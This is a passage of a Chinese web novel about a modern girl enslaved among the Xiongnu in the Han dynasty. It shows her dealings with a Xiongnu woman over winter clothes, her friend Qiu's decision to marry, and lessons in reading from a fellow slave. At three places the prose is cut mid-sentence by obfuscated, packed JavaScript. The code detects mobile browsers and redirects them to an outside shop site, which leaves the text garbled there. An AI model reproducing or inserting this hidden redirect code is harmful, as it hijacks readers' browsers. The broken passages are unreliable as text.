话音落下,就如平常一样等待,也许匈奴女人会过一会儿回应,也许她没有听见,那么过一会儿庄翎会再问一声。 不到片刻,眼前毡帐被人打开,贝坎抱着孩子看门口的庄翎,用匈奴话问道:“你怎么不进来?” 这话一说,就营造出一种错觉,好像庄翎经常来贝坎家里做客。 但不是这样的,不论哪一次,除非眼前的贝坎开口,否则庄翎从不会进入她家里。 如果贝坎肯想一想的话,也会发现,前两次庄翎进去毡帐,也都是她要庄翎进来缝衣服。 庄翎听见贝坎的话,仍然站在门口,问贝坎:“今天有什么活要我做?” 贝坎问眼前的汉人女奴,说道:“还有些衣服没有缝完,你为什么不进来?” 庄翎微微抿唇。 她道:“……我身上有些脏。” 脏兮兮地去别人家里不好,庄翎不习惯。但这是她从前的习惯,现在她心里觉得自己不应该有这样的不习惯,虽然说脏兮兮的去别人家里不好,但是,一旦她觉得这不好、不应该,就像是不敢一样,让人看了觉得她在害怕,也把自己放在了一个卑微的地位。 在这一刻,庄翎对眼前的一切生活萌生出一种从未有过的厌恶和排斥。 匈奴女人闻言却笑了笑,她伸出一只手将庄翎拉进毡帐里,很友好地对她说:“你是觉得衣服脏了不好意思是不是?我哥哥前两天正好给我送了一件新衣服来,我不喜欢,给你穿怎么样?” 说完,匈奴女人将已经睡着的孩子放回摇篮里,走到胡床旁边的木箱旁,从中翻出一个包裹,她就在箱子旁打开包裹。 室内,两个大一些的孩子在小床上睡觉,小婴儿在摇篮里睡觉。 庄翎扫了一眼婴儿所在的摇篮,又下意识看了一眼摇篮上方的吊绳。 匈奴女人抱着新衣服走过来,将衣服抖开,让新衣服的肩膀对着庄翎的肩膀比较。 这是一件红色胡服冬衣,窄袖左衽,衣服主体是红色厚实羊毡布,袖口、领口、衣服前襟都装饰着毛很长的棕色皮毛,看起来很漂亮也很贵重。 只是衣服袖子和下摆都长一些,肩膀也更松垮。 毕竟庄翎现在才十四岁,长得又瘦,这成年女性的衣裳对她来说自然不能合适。 匈奴女人笑着说道:“部落里少有颜色这么红的衣裳,多漂亮!我偏偏不爱穿,你这样的小姑娘穿正好。” 庄翎看着眼前热情又大方的贝坎,她记得清楚,对方从来都不对奴隶亲切。 人一反常就不正常,很可能是别有用心。 她看了眼面前的衣裳,目光看向对面殷勤的贝坎,直言问道:“你有什么事情要我做?” 正在热情比划衣服的贝坎闻言抬头去看说话的女孩儿,只见面前的汉人奴隶小女孩儿目光冷然认真,看起来是个不好哄骗的小姑娘,她面上略显浮夸的亲热不自觉淡了些。 贝坎对这汉人奴隶女孩儿说道:“想这么多做什么?你不是正需要一件过冬的衣裳?” 23. 第 23 章 贝坎将这件红绒胡服挽在臂弯,站在庄翎对面,手臂上红色胡服的鲜亮洁净,领口衣襟处兽皮上的锋毛又长又密,人看在眼里就能想象到将这件衣服穿在身上时,被毛绒簇拥的温暖来。 贝坎笑着说道:“没事让你做就不能对你好吗?你们这样的小女孩儿穿些新鲜颜色衣服正好合适。你不肯穿上这件新衣服,是怕一会儿回到右牢里,会像你身边的那个小女孩儿一样,被人将衣服抢走是不是?” 她自顾自地说:“你不用担心,我可以和莫里——就是你们奴隶营里那个小个子管事打个招呼,只要他说一句话,没人会来抢你的东西。” “匈奴的冬天比雁门关的冬天还要冷,大雪正在到来,你不怕被冻死吗?” 庄翎想了想,微微低头说道:“每一年阴山已北的土地都会迎来冬天,小女为奴于此,或总归将要殒命于霜雪,只不知在哪年而已。死亡必然,侥幸多活一日,也不过见一日的辛苦罢了,一冬性命于此,也难以珍惜。且夫人衣服贵重,重礼下于奴仆,必有驱使,却不肯说。小女年少,恐怕不堪,是以不能受衣。” 几岁寒冬而已,在死亡面前,只是弹指。不值得拿来出卖。 贝坎打量了庄翎一会儿,神情变幻,看起来也没有那么急躁了,反而多了一些放心。 她道:“我确实有些事情想要让你做,一旦我说出来,你恐怕也是乐意去做的,是以这衣服你受之无愧。”说完,又笑了笑,继续道:“也许对你们来说这件衣服很贵重,但对我来说并不是。” 贝坎笑得轻松。 庄翎打量了几眼对面人,看出贝坎现在说的几句话,都是真话,并无矫饰。她的确有事情需要自己做,而这件事……对她来说或许也不是坏事? 心道若真是如此,也许可以接受贝坎送的礼物。庄翎看向贝坎臂弯间的胡袍。只看这袍子鲜艳华贵,心想秋应该会喜欢,但不论贝坎有什么事情教给她做,是否真的是她愿意去做的事情,庄翎都不想现在就接受贵重的礼物。 而且,她也不能只一个人活过这个冬天。 想了想,对贝坎说道:“奴隶整日做活,好衣服坏得快,让人不忍。若夫人当真不吝善心,请予我两件旧冬衣,使我姐妹能稍稍遮挡严寒。来日,若是有机会,小女愿意报答。” 贝坎笑着点点头,将手臂上的衣服放在胡床上,从箱笼里找出两件往年穿的旧冬衣,叠起来放在木质箱笼上,告诉庄翎说:“这两件衣服送给你,一会儿你可以拿回去和姐妹一起穿。” 将今天的针线活做完,庄翎带着两件旧衣回到奴隶营,和秋一人一件穿好,果然也没有人来抢夺。 穿上新衣服确实暖和多了,今天下午不用干活只有更好。 秋摸着新穿的胡服,问道:“这……是哪里来的衣服?” 关于自己和贝坎在这两件衣服上的默契,庄翎不打算讲,一来这地方说话没个隐私,二来事情八字没一撇,没有必要节外生枝。 若是真正不说些话语,又恐怕秋多想,现在秋的眼神就有些困惑怀疑。 庄翎知道伊都死了,秋心里有太多失望,也有心安慰她,想了想,说道:“是今天从奴隶营和管事一起经过的匈奴女人,我平常下午就在她家里做活,今天她在这里看见你的衣服被人抢走了,心里怜悯,从家里找了两件旧衣,让咱们穿着过冬。” 秋按着衣角,低头微微皱着眉,嘀咕道:“倒是个好心人。” 庄翎对秋安慰道:“不要太担心冬天的事儿,以后都会慢慢好起来的。” 秋没有流泪,只是沉默。 这场晚秋的雨夹雪在第二天早晨变成了冻在地上的冰,日中十分融化了一半,另一半死死冻在土壤里。 紧接着,冬天匆匆到了,大雪一场一场地下,到处都是一层厚厚的白色,人们呼吸都夹杂着冰渣。 匈奴人说,荒原上积雪完全盖住了秋天仅剩的那一层稀薄荒草。没法再去放牧了,就让牲畜们在部落东边的牛羊圈里圈养。 秋天奴隶们打回来的干草这时候派上了用场。 贝坎自从和庄翎有了约定,不再需要她每天下午过来干活,只每隔几天不定时让她过来干一点洗衣烧火之类的杂活。 大多数时间里,庄翎在牛羊圈旁边为圈里的牲畜铡草。 匈奴人让人将秋天收回来的草运过来一部分,放在牛羊圈之间靠北的空地上,庄翎需要做的就是每天在草堆下铡草,像她这样干活的人还有二十来个。 她们有的和庄翎差不多大,有的比她大一些,有的比她老一些,这些人没有匈奴人的毡衣可穿,她们穿着用干草编织出来的宽大衣服御寒。 奴隶营中没有冬衣的汉人都是如此,到了冬天,都穿上了干草编织而成的衣服。 吴完在编织草衣的时候对庄翎说:“这叫牛衣,原本是在天冷的时候编织出来,给牛穿着御寒的。” 说完,她又笑笑,说道:“不过,只有汉人会这么干。到了匈奴,也只有汉人会穿这样的衣裳。” 匈奴人牛圈附近的草垛像山一样高,四周都是它投下的阴影,北风刮来的时候草枝被吹得乱飞。 他们的旧铡刀半埋在草渣里,底部和冻土冻结在一起,每天人们使用这些铡刀,都要将其从草渣或是冰雪中挖出来。 有时候用旧木板或是棍子,有时候用手。然后抱来一些干草,跪坐在铡刀后面铡草。 庄翎记得吴完的话,她在干草垛下铡草的时候,也会从草堆抽出一把干草垫在膝盖下面,跪坐在铡刀后面弯背铡草。 匈奴人的铡刀声音略有些沉闷,庄翎也渐渐习惯了冬天的寒冷、匈奴人的铡刀、附近牛羊的叫声,还有附近穿着牛衣一起默默干活的人们。 这些人当中没有佩兰,也没有秋。 佩兰也不再在羊圈里照顾小羊,她被匈奴人选做侍女,去服侍于单王子。 秋现在的活计是照顾小牛犊,匈奴的冬天太冷,刚出生的犊牛不耐寒,需要在室内喂养。 匈奴人在牛圈附近搭建了一个毡棚,里头可以生火取暖,新生的犊牛白天晚上都住在里面,只有吃奶的时候需要回到牛圈来找母牛。 秋和几个匈奴女人一起在毡棚里照顾这些犊牛,给它们生火取暖,陪这些牛来牛圈吃奶。 就像现在,秋正牵着一只黄白花小牛往牛圈这边走来,她手里一根麻绳套在牛脖子上,那小牛知道去吃奶倒也听话,顺着秋的拉扯跟在她身后,哒哒哒往前走。 小牛还没走到牛圈,圈里的母牛就开始叫,也渐渐来到牛圈边缘,秋拉着小牛犊来到牛栏旁边,也不必进去,她将套着小牛脖子的绳索系在牛栏上面,比成年牛矮许多的小牛就从牛栏和地面之间的空隙钻进牛圈,来到母牛身下吮奶。 那只小牛还要吃一会儿,秋将牛放下,扫了眼不远处的草堆,一眼就看见在草堆下穿着一身半旧胡服跪坐着铡草的庄翎,只是庄翎兀自低头铡草,并没有注意到秋过来。 秋便走到庄翎身边去,草堆附近烟尘草屑乱飞,呼吸之间有些呛,再加上室外寒冷,铡草的人们不时咳嗽两声,也有些吵,这让秋有些不耐烦。 站在庄翎身边,扫过附近穿着牛衣干活的奴隶们,微微皱眉,在庄翎身边蹲下来。 “前些天伊都说帮我找了个照顾犊牛的活,我心里还很高兴,想着佩兰从前照顾羔羊容易,这牛大约也不难,谁知道一只牛犊就有几十斤重,可比羊羔难照顾多了。” 庄翎一边低头铡草,一边说道:“给犊牛搭建的棚屋里一直生火,在冬天也算可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522972|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 其实庄翎也没想到那个叫昆桑的匈奴人会帮助秋,想来是看在已经去世的伊都得情面上,他给秋找了个方便取暖的活,也算是照顾秋了。 秋在一旁咬了咬唇,表情不忿,她道:“我却羡慕佩兰好运气,能去王子身边当侍女,每天只端端茶叠一下衣服,这多轻松。” 她问庄翎说:“姐姐,你说佩兰怎么总是比我过得好?” 庄翎正好手上铡刀落下,铡断一截干草,她侧头看了眼气鼓鼓的秋,忍不住笑了笑。二人朝夕相处许多时日,庄翎也渐渐知晓,秋很有些小气,嫉妒心也强。 秋见庄翎笑了,越发气闷。 她道:“匈奴的那些女人们都说于单王子素来宽厚仁慈,佩兰肯定是享福了。” 庄翎笑了笑,这笑也就淡些许,她一边继续铡草,一边讲道:“佩兰服侍的那位于单王子如何宽厚仁慈我不曾见过,倒是曾听人提起过另一位温柔高贵的公子。” 秋一听见庄翎说起另一位公子,立刻打起精神来,专心听庄翎说话。 庄翎就这么一边铡草,一边讲道:“这位贵公子出身公侯之家,不喜欢世俗功名,更厌恶男子,生平最爱女孩儿,不止是待身边姐妹极好,就是身边的丫鬟,也整日姐姐妹妹的叫,都纵容宠爱着。” 秋听到这里对这位素未谋面的贵公子已经产生了一些好感,好似这人比那同样没见过面的于单王子更得她的心。 “这贵公子身旁有一个丫鬟,一向贴心,平素最得他的宠爱。” “有一回,正赶上下雨天,公子从外面回来敲门。院子里几个婢女正在玩耍,没人听见门口敲门声,只有那丫鬟在一片雨声说笑声中,隐约听见门边似有动静,过去开门。” 庄翎讲到这里,故意稍稍停住话头,只手上铡草。 秋方才正听得入神,哪里愿意庄翎就这样停下,忙抱住庄翎铡草的胳膊,说道:“姐姐,你快讲讲,接下来怎样了?” 庄翎看看秋脸上的着急,也不再吊她胃口,讲道:“那公子在门口站了一会儿,淋着雨,浇得浑身湿透,正愤怒院中丫鬟只顾玩闹,任他淋雨。门一打开,公子便一脚踹过去,正中那丫鬟心口,踢打了她好一会儿。” 秋听见这么一段,心里好生失望,见庄翎又不再讲,忙追问道:“接下来呢?贵公子和丫鬟怎么样了?” 庄翎微微摇头,说道:“并没有怎么样,还是原来的样子。” 一旁的秋已经放开的庄翎的手臂,她为方才听见的故事留恋,心里也渐渐明白,是庄翎听她羡慕佩兰才讲的这个故事,用来告诉她贵人不好伺候。 想着这些,秋呆呆蹲了一会儿,忽地问一旁正在铡草的庄翎:“姐姐,这个贵公子是你从前见过的人吗?” 这一问十分出乎庄翎意料,她本是现代人,哪里见过什么古代贵公子?对秋说道:“当然不是,故事是我听来的,也是什么人编的。” 秋在一旁微微咬唇,表情变幻,不停思索,显然仍是对庄翎讲的故事耿耿于怀,显然仍认为她可能见过什么贵公子。 毕竟她从前也猜测庄翎可能是贵人家的女儿。 庄翎没空思考这些,她们这些人每天都要铡够附近几个圈里牛羊要吃的草,而匈奴人的铡刀不知是哪一年的,上面有许多豁口,有些地方还卷刃,干活十分不痛快,只能说这活效率不高。 但是每隔一会儿,就有人来收草喂食牛羊,若是圈里的食槽填不满,就是她们这些负责铡草的女奴的责任。 秋坐了一会儿,侧过头,对身旁一刻不停铡草的庄翎说:“比起干不到头的苦活,挨上几脚,被打几鞭子……也没什么大不了的,我也不是没挨过打。我宁可去服侍公子王孙,能过得好些,就算是多挨几顿打也没什么。” 24. 第 24 章 有一些想法不过是臆想,就像是五六岁的小女孩儿看了童话故事想要嫁给白马王子,至于什么是白马王子呢?大家也不清楚,动脑去想象,也只能想象到万丈圣光中模糊的白色身影。 于单王子……很了不起吗?其实也没有。但是他和所有的匈奴贵族一样,都是这些奴隶们触碰不到的存在。 佩兰能去于单身边做侍女是一个少见的意外,谁也说不清楚现在佩兰在于单王子身边做侍女以后会怎么样,又会不会好。 对秋,对许多奴隶处境的汉人来说,跟随在于单身边做一些端茶倒水的杂活,总好过来往于冰天雪地里没完没了地做体力活。 认不认同没必要多讲。 手边还有很多活没有干完,没有必要为了一些不会变成现实的事情,非要和人争论出个是非对错来。 刚刚庄翎听见秋说的话,也一直在低头铡草,手上动作连续利落,不曾有什么停顿,就像是没有听到秋的话一样。 秋说完这些话,见庄翎没有反应,她回过头,仍旧坐着,眼睛看着脚前一寸地面,地上尽是一些切成一寸长短的碎草,还有些草籽和飞尘,她看着这些并不入眼,反而像是在思考什么,就这么在尘烟弥漫的草垛下面坐了一会儿。 铡出来的碎草慢慢在庄翎面前堆成一座小山,手边的干草也铡完了,她站起身来,从一旁拿了木叉,从草垛上扒干草。 秋看庄翎起身,她也站起身来,在一旁看着庄翎的动作。 庄翎弯腰拾起刚才扒下来的干草,抱过来放在铡刀旁边,也该坐下来铡草了。 但是,她看向对面的秋,总觉得秋是有话要说,便站在秋对面看着她,稍稍等待。 秋看着庄翎,又在对视中微微低头,低到一半,她动作又顿住,忽然对庄翎说道:“我要嫁给昆桑了,就是这两天的事儿。” 从前秋说一定要嫁给伊都,不要庄翎管,现在她说要嫁给昆桑,也没有和庄翎商量的意思。 大约她也是不想听别人劝阻,所以才不和人对视。 庄翎看着微微低头的秋,说道:“为什么突然要嫁给昆桑?” 从前她说要嫁给伊都,并没有这样快,两个人认识之后几乎每天都有来往,过了一阵子,秋才说在考虑要嫁给伊都。 假如伊都还活着,两个人大概已经在一起了,但这也是没办法的事情。 秋抬头看了看庄翎,说道:“昆桑说,在匈奴假如兄长去世,弟弟会继承兄长的妻子,如果是弟弟去世,也可以将妻子交给哥哥。” “他说他和伊都是胜过骨肉兄弟的至亲,伊都在临死之前,曾告诉过他自己有个汉人奴隶未婚妻,问昆桑愿不愿意娶这个人。昆桑说,他答应了伊都,说是回到部落之后,会娶我为妻。” “就在前两天,昆桑和我说了这件事。他告诉我,他会像当初伊都承诺的那样,将我从奴隶营中赎出来,娶我为妻。他问我愿不愿意。” “我告诉他说我愿意。除此之外还希望他能帮我一个忙,我还有一个姐姐,我希望他能将我姐姐一起从奴隶营中赎出来。” “昆桑说可以,他过两天会把我和姐姐一起赎出来。”秋扫过庄翎手指上的青紫冻疮,看向庄翎的眼睛,说道:“姐姐,过两天我们就可以一起离开奴隶营了。” 说这话的时候,秋脸上并没有太多笑意,语气也算不上轻快,只声音尾调稍稍升高。 庄翎静静听完秋说的所有话,也将秋的表情看在眼里,其实她们都在越来越了解彼此。 秋知道,姐姐不会为这事惊喜万分。 而庄翎刚才听见秋说就要嫁给伊都,也不会像秋反感的那样,去说什么话来反对她。 庄翎和秋对视了一会儿,语气平静地道:“秋,我不会离开奴隶营。” 秋本来以为,不管怎么样,至少庄翎会愿意离开奴隶营。 也许她以后会和自己一样嫁给一个匈奴人,又或许会在生活一段时间后找到机会逃回汉朝。不管以后会怎么样,现在的庄翎应该也很讨厌这种奴隶的生活,所以她应该会愿意离开。 让昆桑同样赎出庄翎,秋期待庄翎能够获得自由,这意味着她们以后也不会分开,还可以相互照应。 但是,也不可否认,如果不是因为她同意嫁给昆桑,昆桑也不会发这样的善心。 稍稍计算一下,秋觉得自己在这件事情上是有付出的,她不知道庄翎以后会如何感激自己,现在却正为了这付出耿耿于怀。 可是庄翎竟然拒绝了,明明她也想要离开,谁会不想要离开这种饱受折磨的生活呢? 意外多过愤怒,这两种表情又同时出现在一个人脸上,多少有些滑稽,也有些可怜。 “奴隶营的生活我已经习惯了。”庄翎说出一句自己都不相信的话。说完,她觉得有些可笑,脸上也就露出了一点笑容来。 秋看着神色淡然的庄翎,看得出来她是真的不想被昆桑赎出去,最起码现在绝对是这么想的。 秋咬了咬唇,说道:“如果姐姐一直在奴隶营里,我以后恐怕没有办法经常来看望。” “既然你要成婚了,以后就专注过好自己的生活吧,不用挂念我。来不来看望我,没什么要紧的。” 秋看了看庄翎,怒气汹汹,却没有再说什么,她转身往牛圈旁边拴着犊牛的方向走去。 拴在围栏上的小牛犊趴在牛圈里的地面上,正在练习反刍,嘴巴一动一动的,唇边都是细细的白色奶沫,母牛就站在一边为小牛犊舔舐皮毛。 走到拴着的缰绳旁边,秋解开缰绳,使劲儿拽里面的牛犊,斥道:“蠢牛,就知道吃!吃完了还不走!” 小牛犊因为脖子被绳子拉拽十分难受,也就停止了反刍,顺从地从地上爬起来,顺着缰绳的力道,伸着脖子,慢慢矮身钻出了栅栏。 秋不高兴,在前面快走,一个劲儿地拽身后的牛犊,小牛犊也就迈开四蹄跟着她往前走。 只那牛圈里的母牛,方才还在给小牛喂奶舔毛,见犊牛被人拉走,朝着小牛离开的方向,伸长脖子,哞哞长叫。 那小牛有时回头看一眼牛圈里的母牛,也发出稚嫩的哞哞叫声。 秋拖着小牛离开了。 庄翎在秋转身离开之后就继续跪坐在地上低头铡草,动作速度一如平时,直到这一人一牛渐渐走远,牛圈里的母牛,也不再哞哞叫小牛了,她才抬头向前面看了眼秋离开的方向。 要不了多久,秋的生活就会好一些,至少不用为温饱发愁了。 庄翎不再需要为秋担心这个,但她也没有很开心。 兄终弟及……想到四个字,她心上像是压上了一枚沉甸甸的铅块。但也没什么办法,甚至也不应该想太多,她只更加用心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527683|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铡草。 北风吹动草屑烟尘,有人连连皱眉,有人低声咳嗽。庄翎只低头稍稍放缓呼吸,一只手去草送草,另一只手握着铡刀把手铡草。 两个动作幅度一直很固定,天气也很冷,干活时间久了,两只手就变得僵硬冰冷,不再灵活。 每当这时候,庄翎就放开干草和冰冷的铡刀,将两只手合掌在身前,相互搓一搓掌心,感觉手掌恢复些热量和灵活,再继续铡草。每一天里,这样的动作都会重复好多遍,她慢慢也习惯了。 这会刚搓完手心,两只手稍稍恢复些灵活,她在铡草。听见不远处有脚步声传来,接着是箩筐被人扔在地上的声音。 只见一个身穿破旧冬衣的汉人男奴隶走到草垛附近,刚刚丢开怀里的大箩筐,正摇摇晃晃往前走。这男奴隶许有三十多岁,长得略微高一点,身形干瘪,脸颊瘦削,身上裹着一件破棉衣,脑后扎着个乱糟糟的发髻,脸上眉毛胡须一团乱,一阵风吹来,这个又瘦又扁的人仿佛整个人能和他乱糟糟的须发一起飞上天去。 他是匈奴人的放牧人,从前就在山野放牧,只这会下过几场大雪,野地没处放羊,匈奴人就让这人给牛羊添草。平常铡草的奴隶只负责铡草,这人负责将这里的碎草装满方才被他扔掉的大箩筐,一筐一筐添给牛圈里的牛羊。 这人说道:“附近看管牛羊圈的匈奴人喝醉了,你们停一停,不用再铡了。” 说起来,庄翎也曾见过这个叫爰的奴隶,刚来这里不太久的时候,她一心想要知道现在是什么朝代,又是什么年份,而自己是为什么会流落到匈奴来。 当时她不十分会说汉话,对应不了特定的语音和文字,而同行的人当中又没有认得字。询问了许多人,都没有人能回答自己的几个问题。 后来,是佩兰说知道奴隶营当中有一个人识字,或许能回答她的问题。 当时佩兰带着庄翎和秋一起找到了这个叫爰的汉人奴隶。对方的确识字,却不是很热心,庄翎用七天的晚饭换得了几个问题的答案,知道现在是汉朝元朔元年,也明白了自己为什么流落到了匈奴。 铡草的人们听爰说完话,一个个相继停下动作,有人叹了口气,有人就坐在一旁,有人反手给自己捶后背。 大家都不准备继续铡草了。 爰走来庄翎身边,问道:“听人说你那个妹妹刚才来了,她给你带什么吃的了没有?” 庄翎微微摇头。 爰见此就猜到庄翎肯定没有问那个叫秋的女孩儿拿东西来吃,说道:“你真不聪明,既然妹妹有匈奴人关照,不说别的,混几口饱饭吃吃也是好的吧?” 这人活像个饿死鬼托生,总问又没有吃的,庄翎大多数时候听见了就当没听见,反正她没有多余食物。 爰随意坐向一旁草垛底下,往后一靠,像是要睡觉。庄翎闲着一双手,盯着爰看了一会儿,还是问道:“牛圈里的牛羊都吃完了吗?” 爰看了眼庄翎,说道:“牛羊饿了,人也饿;牛羊不饿,人也饿;匈奴人饿了,吃牛羊;汉人饿了,食草羹。” “既然吃不到匈奴人的牛羊肉,何必关心匈奴人的牛羊有没有吃饱肚子?” 庄翎不是很看得惯人虐待动物,她不喜欢爰说的这些话。 爰看庄翎还是不开心,倒是笑了起来,说道:“你要好心,可不一定有好报。” 25. 第 25 章 每一天夜里,当奴隶们在毡帐里躺下,同宿人的呼噜和咬牙声音响起的时候,狂风的怒吼声也如期而至。 北风的声音像狼嚎,像大哭,也像谁在大笑。 狂风在整个雪原肆意巡游,将所有的一切都尽情撕扯,毡帐的墙布在风呼啸中疯狂抖动,好像下一刻就要四分五裂开来,然后将这些缩头缩脑躺在毡帐中的奴隶暴露在冰天雪地里,叫他们活活被冻死。 人们住在这样的毡帐里,望向黄色毡帐墙壁,双眼中总有些自己看不见的忧心忡忡,只要寒冬存在,他们就无时无刻、无年无月不活在恐惧之中。 匈奴人在毡房里面用木杆支撑毡帐,在外面用绳子勒住毡帐,将木楔子打到地里,把从毡帐顶部勒过的麻绳牢牢系在木楔子上。 严冬的时候,这些粗麻拧成的绳索会更紧地缠在一起,它们因冰雪向绳子中心拧紧,而地上的木楔子也被封锁在冰雪之下的冻土中。麻绳与木楔子两相较劲,使得这座破旧的毡帐被死死固定在地面上,一动也不能动。 躺在毡帐里的人,因这寒冷,越发相互拥挤着,人与人之间空隙很小,谁也不能乱动一下。 人们往中心拥挤,毡帐内边缘就多空出了一尺来宽的空间,庄翎仍然睡在人群外缘。她不像这里的人那样习惯早睡,在这里,她甚至有点失眠。每一天,她夜里躺在干草上,都会倾听毡帐外狂风呼啸的声音。 有时候秋躺在她的身旁,大多数时候她不在。后来秋去和几个匈奴女人一起照顾新生的犊牛,有些时候需要犊牛休息的地方守夜,就在那住下,匈奴女人和她一起轮流。以前秋轮到空档会回来住,但是后来毡帐里越来越冷,秋就不再来了。 其实不再来到这个地方才是最好,也许秋是聪明的。 大风将毡帐吹得鼓皱,黑色的夜幕在其上汹涌起伏,使得这黑夜里的旧毡墙看上去像是一片幽黑的海域。四周很冷,庄翎静静地躺在毡墙旁边,在这孤独且平静的夜晚中,她从身边这片动荡的黑色海域里,嗅到了死亡的气息。 这气息又和羊皮毡上的膻味、人们呼吸中的疼痛、地面的阴冷、肉''体的饥饿一起混合在这不算宽敞的毡帐里,随着人们的一呼一吸,流遍她们四肢百骸。 第二天清早,骨梆声响起,照旧唤醒人们。 从大雪完全遮盖草地之后,匈奴人就不再给奴隶们煮汤羹吃,这时节木柴也很不是可以随意浪费的。 匈奴人用豆子、干菜、牛羊的筋膜、脆骨,做了许多小小的干饼,来给奴隶们吃。这些东西做的时候也许稍微麻烦一点,但是做出来之后能存放大半个冬天,可以不用每天烧火。 这些饼子做的时候,做得干干的,分给奴隶的时候也不用再加热。每一天早晨大家能分到一个手掌心大小的饼子,每天晚上还能再分到一个,这些饼子苦、腥、硬。第一次吃的时候尤其难以下咽,之后每次吃也没有好更多。 假如要喝水,部落里有数条溪流,可以破冰汲水。奴隶们需要自己取水,这活是轮流干的,取回来的水装在一个木桶里,清早放在奴隶营前的空地上。桶里面有一个小木瓢,也不分你我,大家直接用木瓢来喝。 清早的时候,庄翎和大多数人一样,排着队领了个干饼,排着队喝了一口水,吃掉饼子。今天她在领取到饼子的时候掰了半个放在衣袖里,另外半个和大家一样就着冷水吃掉,然后再多喝一点水,这就是一个奴隶一个上午的饮水量了。 随后,她如每日一般,往牛羊圈那边的干草垛走去铡草。 草垛下的人们还是和每天一样,大多数人在铡草,几个人抱着大箩筐来收走大家铡好的碎草,添到牛羊的食槽里去,然后再来装草,再去添,来回往复。有匈奴人时不时来查看牛圈里的食槽,一旦发现哪里草少了,或是那只牛羊更瘦一些,就要骂人或是打人。 今天上午有匈奴人在,爰没有偷懒,他一直在干活。等到牛羊的食槽都填满,监工的匈奴人走了,他就像昨天一样,来到草垛旁边,扔下箩筐,靠住草垛,随手从一旁扯来一把干草堆在身上,就准备睡觉。看起来他十分习惯这样的生活。 这会儿庄翎也可以不用铡草,她把衣袖里的半个豆饼拿出来,问一旁将自己埋在草堆里的爰,说道:“我想要认字,你能不能教我?” “如果你愿意,我以后可以把每天早上分得的干饼留一半给你。” 爰看了看庄翎手里的饼子,看了看说话的庄翎,前倾身子,伸手来抓庄翎手里的半个饼子。庄翎将手里半个饼子递给爰,在对面默默等爰的回答。 爰夺来饼子,立刻送到嘴里,嚼了几口,强咽到肚子里去。咂咂嘴,有些意犹未尽。 爰这才看向一直在等待的庄翎,说道:“半块饼有点少,在汉朝要请人教导,最起码要有腊肉和银钱送来。” “不过,我肚子饿,便宜也就便宜些吧。” 说到这里,爰语气一顿,忽然问说:“我记得你识字,怎么还要学?” 庄翎说:“我认识的字不多。” 现在是西汉时期,这会儿通用的文字是隶书,庄翎曾在网络上看过一些汉简,上面有些文字与简体字相差不大,稍稍认识一些繁体字的人,也都能对应上。毕竟现代的简体字也都是从以前流传下来的文字中简化规范而来的,但也有些个别的字,简体和繁体差别很大,认不出来。 而且还有一样,汉隶的书写方法和简体字的书写习惯不一样,如果真想要在这个时代重新当个受过教育的人,非得重新学习写字不可。 爰说:“哦……那你是应该好好再学一学!” 话是这样说,爰心里不以为然。 其实都落到这个境地,读什么书有什么意思呢?奴隶们闲着的时候都很少,而且匈奴这里可没有汉人的书可以读,就算是读了书,做不得官,发不了财,更不能光宗耀祖!何必呢?他暗笑眼前这女孩儿未免太呆了些。 不过,呆一点也好,他可以每天多赚半个饼子吃,倒也不赔。 爰稍稍思量自己过往学识,挑眉问庄翎:“你还没读过屈子的《离骚》吧?”他想这个女孩儿字都认不全,还是个女孩儿,就算读书能读几本?必然是没读过《离骚》,这诗文对小女孩儿来说也十分高深。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531343|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 也不等庄翎回答,他道:“我就从《离骚》开始教你吧。” 庄翎接受过九年义务教育,也读过全日制高中,在读大学生,自然读过《离骚》,这还是一篇要求背诵的文章,她当初背得滚瓜烂熟,现在也记忆犹新。 但想到自己主要是和人学认字,从一篇自己从前学过的文章学起也更加方便一些,她对爰的教学安排没有异议,所以也不和对方较真,只在一旁等爰教导。 爰轻轻摇着头,看上去有几分沉醉,念道:“帝高阳之苗裔兮,朕皇考曰伯渊。摄提贞于孟陬兮,肇锡余以嘉名。扈江离与辟芷兮,” 庄翎在一旁听得惊愕,微微瞪大眼睛,这是《离骚》开头没错,但是爰读得乱七八糟,错漏百出。 “伯庸”叫他读成了“伯渊”,“摄提贞于孟陬兮”下一句应该是“惟庚寅吾以降”,“肇锡余以嘉名”的前一句是“皇览揆余初度兮”,而“扈江离与辟芷兮”前面还漏了四句话。 只见这人越是往下读错漏越多,庄翎悄然收了惊愕,只当做没发现对方的错漏。 她心想,这人也许本来会《离骚》,也许是生活在匈奴许多年,不与人谈论诗书,渐渐忘了这些。又或许,爰本来就不爱读书,被人抓到匈奴的时候就记不全诗文,在这里生活几年越发忘记了。 